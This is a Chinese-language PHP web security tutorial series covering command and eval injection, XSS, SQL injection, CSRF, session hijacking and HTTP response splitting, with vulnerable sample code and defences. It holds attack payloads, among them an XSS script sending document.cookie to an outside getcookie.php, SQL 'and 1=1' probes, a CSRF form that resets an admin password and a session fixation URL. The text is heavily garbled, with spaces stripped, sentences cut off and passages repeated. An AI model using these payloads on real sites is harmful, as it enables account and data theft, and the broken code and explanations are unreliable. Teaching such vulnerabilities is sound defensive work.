PHP1-PHP漏洞全解(一)-PHP網(wǎng)PHP1-PHP漏洞全解(一)-PHP網(wǎng)頁的安全性問題PHP的網(wǎng)站主要存在下面幾種攻擊方式1、命令注入(CommandInjection)2、eval注入(EvalInjection)3、客戶端腳本攻擊(Script5、SQL注入攻擊(SQLinjection)6、跨網(wǎng)站請求偽造攻擊(CrossSiteRequestForgeries,CSRF)7、Session會話劫持(SessionHijacking)8、Session固定攻擊(Session9、HTTP響應(yīng)拆分攻擊(HTTPResponseSplitting)10、文件上傳漏洞(FileUploadAttack)11、目錄穿越漏洞(DirectoryTraversal)12、遠程文件包含攻擊(RemoteInclusion)13、動態(tài)函數(shù)注入攻擊(DynamicVariableEvaluation)14、URL攻擊(URLattack)15、表單提交欺騙攻擊(SpoofedForm16、HTTP請求欺騙攻擊(SpoofedHTTP幾個重要php.iniRegisterPHP漏洞全解(二)-命令注入攻擊命令注入攻stringsystem(stringcommand,intcommandreturn_varstringexec(stringcommand,array&output,intcommandoutputreturn_varvoidpassthru(stringcommand,intcommandreturn_varstringshell_exec(stringstringshell_exec(stringcommand漏洞實例if(isset($dir)){echo"<pre>";echo"</pre>";}/system("lsal|cateval注入攻擊mixedeval(stringcode_str)eval$var=$var=if{$arg=$_GET["arg"];eval("\$var=$arg;");echo"\$var=".$var;}當我們提交動態(tài)函數(shù){}func{}if{$myfunc=$_GET["func"];echo$myfunc();}防范方法3、使用escapeshellarg函數(shù)來處理命令參數(shù)esacpeshellarg函數(shù)會將任何引起參數(shù)或命令結(jié)束的字符轉(zhuǎn)義，單引號“’”，替換成“\’”，雙引號“"”，替safe_mode=safe_mode_exec_dir= 漏洞全解(三)-客戶端腳本植入客戶端 漏洞全解(三)-客戶端腳本植入客戶端腳本客戶端腳本植入(ScriptInsertion)，是指將可以執(zhí)行的腳本插入到表單、圖片、動畫或超鏈接文字等對代碼，也可以在src屬性內(nèi)指定js文件的URL路徑客戶端腳本植入的攻擊步實CREATETABLE`postmessage``id`int(11)NOTNULL`subject`varchar(60)NOTNULLdefault`name`varchar(40)NOTNULL`name`varchar(40)NOTNULLdefault`email`varchar(25)NOTNULLdefault`question`mediumtextNOT`postdate`datetimeNOTNULLdefault’0000-00-00PRIMARYKEYENGINE=MyISAMDEFAULTCHARSET=gb2312COMMENT=’使用者的留言//add.php//list.php//show.php<script>while(1){windows.open();}</script>插入<script>location.href="";</script跳轉(zhuǎn)釣魚頁面或者使用其他自行構(gòu)造的js代碼進行攻擊防范的方法stringhtmlspecialchars(stringstringintquote_stylestringcharset)string是要編碼的字符串qoeste可選值可為E_COPE_QOEE_OUOESE_OP，表示只轉(zhuǎn)換雙引號不轉(zhuǎn)換單引號。EN_QOES，表示雙引號和單引號都要轉(zhuǎn)換。E_NQOTES，表示雙引號和單引號都不轉(zhuǎn)換charset可選,&—->&"—->‘—-><—->>—->>—-><?phpechohtmlspecialchars(nl2br($row['question']),ENT_QUOTES);PHP漏洞全解(四)-xss跨站腳本攻跨網(wǎng)站腳本縮寫為XSScom/getcookie.php?cookie=’+document.cookie;</script>，誘騙用戶點擊后，可以獲取用戶cookies值防范方法stringhtmlspecialchars(stringstring,intquote_style,stringstringquote_style可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默認值charset可選,表示使用的字符集&—->&"—->‘—-><—->>—-><formaction="<?phpecho$_SERVER["PHP_SELF"];?>"get.php中上述的表單get.php中上述的表單<formaction=""PHP漏洞全解(五)-SQL注入攻SQL注入攻擊果web程序沒有對提交的數(shù)據(jù)經(jīng)過檢查，那么就會造成sql注入攻擊。SQL注入攻擊的一般步驟實CREATETABLE`postmessage``id`int(11)NOTNULL`subject`實CREATETABLE`postmessage``id`int(11)NOTNULL`subject`varchar(60)NOTNULLdefault`name`varchar(40)NOTNULLdefault`email`varchar(25)NOTNULLdefault`question`mediumtextNOT`postdate`datetimeNOTNULLdefault’0000-00-00PRIMARYKEYENGINE=MyISAMDEFAULTCHARSET=gb2312COMMENT=’運用者的留言grantallprivilegesonch3.*to‘sectop’@localhostidentifiedby//add.php//list.php//show.php頁面/show.php?id=71and提交//show.php12-15mysql提交//show.php12-15mysql$query="select*frompostmessagewhereid=$result=ordie("ySQL查詢語句失?。篴nd1=1select*frompostmessagewhereid71and1=1and1=1select*frompostmessagewhereid71and1=1and1=2select*frompostmessagewhereid71and1=2防范方法整型參數(shù)intvalintintval(mixedvar,intbase浮點型參數(shù)floatvaldoublevalintfloatval(mixedintdoubleval(mixed字符型參數(shù)運用字符加上反斜杠stringaddslashes(stringmysql$query="select*frompostmessagewhereid=$result=ordie("ySQL查詢語句失敗：ordie("ySQL查詢語句失?。簕$var=}{$var=} 漏洞全解(六)-跨網(wǎng)站請求偽造跨網(wǎng)站請求CSRF(CrossSiteRequestForgeries)HTTP連接，讓目標用戶在不注意的情況下單擊這個鏈接，由于是用戶自己點擊的，而他數(shù)確定要購買什么物品，num參數(shù)確定要購買數(shù)量，如果攻擊者以隱藏的方式發(fā)送給目標用戶鏈接實//delbook.phpif{$ID_Dele=$sql="deletefrom$ID_Dele=$sql="deletefrombookwhereidin(".$ID_Dele.")";}{$sql="deletefrombookwhereid=".$idID}echo"<scriptlanguage=’javascript’>";echo"alert(‘刪除成功！’);";echo"echo<imgsrc="delbook.php?id=2"<imgsrc="delbook.php?id=3"<imgsrc="delbook.php?id=4"<imgsrc="delbook.php?id=5"44id留言，然后我們返回首頁瀏覽看，沒有什么變化。。圖片顯示不了{$copyright=$_POST["copyright"]."<br/>設(shè)計制作：<ahref=>廈門隨緣{$sql="updategly."’where."’where}{$sql="updategly."’,copyright=’".$copyright."’where}echo"<scriptlanguage=’javascript’>";echo"alert(‘修改成功！’);";echo"echo}這個文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息，我們可以直接構(gòu)造如下表單<formaction="http://localhost/manage/pass.php?act=xg"method="post"name="form1"<inputtype="radio"value="1"<inputtype="radio"name="sh"checked<inputtype="text"name="username"<inputtype="password"name="password"<inputtype="text"name="title"value="PHPV1.0(帶審核功能<textareaname="gg"rows="6cols="80PHPV1.0(帶審核<textareaname="copyright"rows="6cols="80PHPV1.0版權(quán)所有：廈門隨緣網(wǎng)絡(luò)科技2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制提供優(yōu)惠主機域名</textarea>存為，放到自己網(wǎng)站上藏這個鏈接，管理訪問以后，他的用戶名和密碼全部修改成了root防范方法{){$serverhost=={){$serverhost==$strdomain==if(strncmp($sourcehost,$serverhost,{echo"<scriptlanguage=’javascript’>";echo"alert(‘數(shù)據(jù)來源異常!’);";&echo"echo}}$copyright=$_POST["copyright"]."<br/>設(shè)計制作：<ahref=>廈門隨緣{$sql="updategly."’where}{$sql="updategly."’,copyright=’".$copyright."’where}echo"<scriptlanguage=’javascript’>";echo"alert(‘修改成功！’);";echo"echo}檢查內(nèi)置隱檢查內(nèi)置隱藏變{if{//$post_id=md5(uniqid(rand(),//Session$_SESSION["post_id"]=}//if{//if($_SESSION["post_id"]!={//POSTecho"<scriptlanguage=’javascript’>";echo"alert(‘數(shù)據(jù)來源異常!’);";echo"echo}}<inputtype="reset"name="Submit2value重置<inputtype="hidden"name="post_id"value="<?phpecho}PHP漏洞全解(七)-Session劫持PHP漏洞全解(七)-Session劫持session保存的是每個用戶的個人數(shù)據(jù)，一般的web應(yīng)用程序會使用session來保存通過驗證的用戶較。session的生命周期從用戶連上服務(wù)器后開始，在用戶關(guān)掉瀏覽器或是注銷時用戶session_destroyphp處理session的應(yīng)用架構(gòu)會話劫持sessionid的方法會話劫持的攻擊步會話劫持的攻擊步實if{$link=mysql_connect("localhost","root",ordie("MySQL數(shù)據(jù)庫連接：mysql_error());mysql_select_db("cmsordie("MySQL數(shù)據(jù)庫if{$query="select*frommemberwhereusername=’".addslashes($_POST["username"])."’andpassword=’".addslashes($_POST["password"]).}{$query="select*frommemberwhereusername=’".$_POST["username"]"’andpassword=’".$_POST["password"].}$result=ordie("MySQL查詢語句失?。?match_count=mysql_num_rows($result);if($match_count){$_SESSION["username"]=$match_count=mysql_num_rows($result);if($match_count){$_SESSION["username"]=$_SESSION["password"]=$_SESSION["book"]=1;header("Location:http://localhost/index.php?user="}//訪客的SessionID是：<?phpechosession_id訪客：<?phpechohtmlspecialchars($_GET["userENT_QUOTESbook商品的數(shù)量：<?phpechohtmlspecialchars($_SESSION["bookENT_QUOTES$_SESSION["username"]$_SESSION["password"]#_SESSION["book"]//echo//echoSessionID是：session_idbrechousername是：$_SESSION["usernamebrechopassword是：$_SESSION["passwordbr//book$_SESSION["book"]=提交提交session固定攻擊http://localhost/attack.php?PHPSESSID=1234防范方法1）session函數(shù)boolsession_regenerate_id([bool防范方法1）session函數(shù)boolsession_regenerate_id([boolindex.phpsession2）session3）sessionsession.use_trans_sid=int_set("session.use_trans_sid",session.use_cookies1cookiessessionsession.use_trans_sid=int_set("session.use_trans_sid",session.use_cookies1cookiessessionint_set("session.use_cookies",int_set("session.use_only_cookies",1);$seid=md5(uniqid(rand()),$_SESSION["seid"]=PHP漏洞全解(八)-HTTP響應(yīng)拆HTTP請求的格式1）請求信息：例如“Get/index.phpHTTP/1.1”index.php2）表頭：例如“Host:localhost”GET/index.php↙↙↙HTTP請求的方法HTTP響應(yīng)的格式HTTP/1.1200HTTP請求和響應(yīng)的例子GET/index.php使用PHPHTTPvoid使用PHPHTTPvoidheader(stringstring[,boolreplace[,int//Internetsocket$fp=fsockopen(,HTTPfputs($fp,"GET/HTTP/1.1\r\n");fputs($fp,"Host:\r\n\r\n");$http_response=while{256HTTP$http_response.=fgets($fp,}//InternetsocketHTTPecho響應(yīng)拆分攻擊echo響應(yīng)拆分攻擊header("Location:".GET/location.php?page=Host:↙HTTP/1.1302Date:Wed,13Jan201003:44:24HTTP/1.1302Date:Wed,13Jan201003:44:24Server:Apache/2.2.8(Win32)PHP/5.2.6X-Powered-By:PHP/5.2.6Content-Length:0Connection:Keep-AliveContent-Type:Content-Type:HTTP/1.1200Content-Type:Content-Length:<html><body><formmethod=postname